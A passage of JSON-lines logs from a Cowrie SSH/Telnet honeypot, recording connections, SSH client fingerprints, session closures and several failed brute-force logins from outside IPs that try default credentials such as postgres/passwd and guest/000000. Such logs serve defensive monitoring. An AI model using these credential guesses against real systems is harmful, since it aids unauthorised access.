s128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:07.081764Z","src_ip":"202.145.0.61","session":"9b6ddfac7328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.187418937683105,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:07.942075Z","src_ip":"174.138.46.234","session":"fd82a931eb4d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"passwd","message":"login attempt [postgres/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:08.077235Z","src_ip":"202.145.0.61","session":"9b6ddfac7328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.941203594207764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:09.159184Z","src_ip":"23.111.140.22","session":"29883a81a61d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:09.321100Z","src_ip":"202.145.0.61","session":"9b6ddfac7328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.84959650039673,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:09.749798Z","src_ip":"174.138.46.234","session":"ede650e0ce75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44918,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5886e2fef3a","protocol":"telnet","message":"New connection: 23.111.140.22:44918 (10.17.0.5:23) [session: c5886e2fef3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:10.178977Z"}
{"eventid":"cowrie.session.closed","duration":33.382081747055054,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:12.780521Z","src_ip":"23.111.140.22","session":"76e8a2b346bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97598147392273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:17.900256Z","src_ip":"23.111.140.22","session":"d040ac9276a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47932,"dst_ip":"10.17.0.5","dst_port":23,"session":"aada000d103b","protocol":"telnet","message":"New connection: 23.111.140.22:47932 (10.17.0.5:23) [session: aada000d103b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:21.463027Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":36612,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e6119bb5eb3","protocol":"telnet","message":"New connection: 23.111.140.22:36612 (10.17.0.5:23) [session: 5e6119bb5eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:22.567936Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36790,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca16c923df7f","protocol":"telnet","message":"New connection: 174.138.46.234:36790 (159.203.135.109:23) [session: ca16c923df7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:26.227181Z"}
{"eventid":"cowrie.session.closed","duration":31.243396520614624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:26.673879Z","src_ip":"23.111.140.22","session":"1e32294a8f68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37028,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5147678e17b","protocol":"telnet","message":"New connection: 174.138.46.234:37028 (159.203.135.109:23) [session: c5147678e17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:27.078756Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":37170,"dst_ip":"159.203.135.109","dst_port":23,"session":"10527242356f","protocol":"telnet","message":"New connection: 174.138.46.234:37170 (159.203.135.109:23) [session: 10527242356f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:27.584493Z"}
{"eventid":"cowrie.session.closed","duration":33.96830177307129,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:30.644269Z","src_ip":"23.111.140.22","session":"c2ab63b28e03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.8279335498809814,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:32.054993Z","src_ip":"174.138.46.234","session":"ca16c923df7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206183195114136,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:32.892466Z","src_ip":"23.111.140.22","session":"25c0fdc1ce04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.930990695953369,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:33.515391Z","src_ip":"174.138.46.234","session":"10527242356f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.031583547592163,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:34.110222Z","src_ip":"174.138.46.234","session":"c5147678e17b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74709177017212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:34.241851Z","src_ip":"23.111.140.22","session":"52c38d19c43e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.982506036758423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:37.684215Z","src_ip":"23.111.140.22","session":"7fbda2a924cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007972478866577,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:41.186841Z","src_ip":"23.111.140.22","session":"c5886e2fef3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":32876,"dst_ip":"10.17.0.5","dst_port":22,"session":"0446948afc50","protocol":"ssh","message":"New connection: 135.235.138.43:32876 (10.17.0.5:22) [session: 0446948afc50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:43.072094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:43.077224Z","src_ip":"135.235.138.43","session":"0446948afc50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:43.259675Z","src_ip":"135.235.138.43","session":"0446948afc50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"000000","message":"login attempt [guest/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:44.019498Z","src_ip":"135.235.138.43","session":"0446948afc50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60760,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0e5947742ea","protocol":"telnet","message":"New connection: 23.111.140.22:60760 (10.17.0.5:23) [session: e0e5947742ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:44.294410Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:45.204587Z","src_ip":"135.235.138.43","session":"0446948afc50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43734,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a44729860a","protocol":"telnet","message":"New connection: 174.138.46.234:43734 (159.203.135.109:23) [session: c8a44729860a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:49.754938Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43877,"dst_ip":"159.203.135.109","dst_port":23,"session":"29543a05b8c5","protocol":"telnet","message":"New connection: 174.138.46.234:43877 (159.203.135.109:23) [session: 29543a05b8c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:50.317827Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44270,"dst_ip":"159.203.135.109","dst_port":23,"session":"13d2d9479ee4","protocol":"telnet","message":"New connection: 174.138.46.234:44270 (159.203.135.109:23) [session: 13d2d9479ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:51.659508Z"}
{"eventid":"cowrie.session.closed","duration":31.00359034538269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:53.571048Z","src_ip":"23.111.140.22","session":"5e6119bb5eb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15736174583435,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:53.620270Z","src_ip":"23.111.140.22","session":"aada000d103b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60928,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed959b85cf48","protocol":"telnet","message":"New connection: 23.111.140.22:60928 (10.17.0.5:23) [session: ed959b85cf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:53.816517Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44444,"dst_ip":"159.203.135.109","dst_port":23,"session":"c739dd9a96e0","protocol":"telnet","message":"New connection: 174.138.46.234:44444 (159.203.135.109:23) [session: c739dd9a96e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:55.178706Z"}
{"eventid":"cowrie.session.closed","duration":5.927143096923828,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:55.681970Z","src_ip":"174.138.46.234","session":"c8a44729860a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.848088264465332,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:56.165794Z","src_ip":"174.138.46.234","session":"29543a05b8c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.864257097244263,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:57.523423Z","src_ip":"174.138.46.234","session":"13d2d9479ee4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.786794662475586,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:57.965356Z","src_ip":"174.138.46.234","session":"c739dd9a96e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39740,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ac644cc21db","protocol":"telnet","message":"New connection: 23.111.140.22:39740 (10.17.0.5:23) [session: 5ac644cc21db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:58.049301Z"}
{"eventid":"cowrie.session.closed","duration":0.004700183868408203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:58.053895Z","src_ip":"23.111.140.22","session":"5ac644cc21db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":36656,"dst_ip":"10.17.0.5","dst_port":22,"session":"587951b7048e","protocol":"ssh","message":"New connection: 202.145.0.61:36656 (10.17.0.5:22) [session: 587951b7048e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:58.990008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:58.994715Z","src_ip":"202.145.0.61","session":"587951b7048e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:37:59.228649Z","src_ip":"202.145.0.61","session":"587951b7048e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"a","message":"login attempt [testuser/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:00.197158Z","src_ip":"202.145.0.61","session":"587951b7048e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:01.438506Z","src_ip":"202.145.0.61","session":"587951b7048e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40706,"dst_ip":"10.17.0.5","dst_port":23,"session":"55af357856d6","protocol":"telnet","message":"New connection: 23.111.140.22:40706 (10.17.0.5:23) [session: 55af357856d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:05.991036Z"}
{"eventid":"cowrie.session.closed","duration":35.1997435092926,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:19.494027Z","src_ip":"23.111.140.22","session":"e0e5947742ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.57","src_port":30196,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd3a55d715ea","protocol":"telnet","message":"New connection: 167.94.146.57:30196 (10.17.0.5:23) [session: cd3a55d715ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:21.421523Z"}
{"eventid":"cowrie.session.closed","duration":31.141371965408325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:24.957741Z","src_ip":"23.111.140.22","session":"ed959b85cf48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51560,"dst_ip":"10.17.0.5","dst_port":23,"session":"178dfd1d7b43","protocol":"telnet","message":"New connection: 23.111.140.22:51560 (10.17.0.5:23) [session: 178dfd1d7b43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:36.258061Z"}
{"eventid":"cowrie.session.closed","duration":15.258476972579956,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:36.679846Z","src_ip":"167.94.146.57","session":"cd3a55d715ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.795660972595215,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:38.786589Z","src_ip":"23.111.140.22","session":"55af357856d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58692,"dst_ip":"159.203.135.109","dst_port":23,"session":"c14662e8421d","protocol":"telnet","message":"New connection: 174.138.46.234:58692 (159.203.135.109:23) [session: c14662e8421d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:40.356821Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.57","src_port":47958,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8306ca38fd8","protocol":"telnet","message":"New connection: 167.94.146.57:47958 (10.17.0.5:23) [session: b8306ca38fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:40.655017Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":58806,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d85ad24a631","protocol":"telnet","message":"New connection: 174.138.46.234:58806 (159.203.135.109:23) [session: 9d85ad24a631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:40.767960Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":50458,"dst_ip":"10.17.0.5","dst_port":22,"session":"da3103ded6cc","protocol":"ssh","message":"New connection: 135.235.138.43:50458 (10.17.0.5:22) [session: da3103ded6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:41.060266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:41.064976Z","src_ip":"135.235.138.43","session":"da3103ded6cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:41.250633Z","src_ip":"135.235.138.43","session":"da3103ded6cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:42.012403Z","src_ip":"135.235.138.43","session":"da3103ded6cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:43.197799Z","src_ip":"135.235.138.43","session":"da3103ded6cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.682523727416992,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:44.337440Z","src_ip":"167.94.146.57","session":"b8306ca38fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":59800,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0b984f54c1b","protocol":"telnet","message":"New connection: 174.138.46.234:59800 (159.203.135.109:23) [session: d0b984f54c1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:45.042309Z"}
{"eventid":"cowrie.session.closed","duration":5.901339292526245,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:46.669170Z","src_ip":"174.138.46.234","session":"9d85ad24a631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60580,"dst_ip":"159.203.135.109","dst_port":23,"session":"289c147fd7b2","protocol":"telnet","message":"New connection: 174.138.46.234:60580 (159.203.135.109:23) [session: 289c147fd7b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:47.523165Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.94.146.57","src_port":62506,"dst_ip":"10.17.0.5","dst_port":23,"session":"d50509a66060","protocol":"telnet","message":"New connection: 167.94.146.57:62506 (10.17.0.5:23) [session: d50509a66060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:47.530859Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":60746,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b8860a808ec","protocol":"telnet","message":"New connection: 174.138.46.234:60746 (159.203.135.109:23) [session: 9b8860a808ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:38:48.127887Z"}
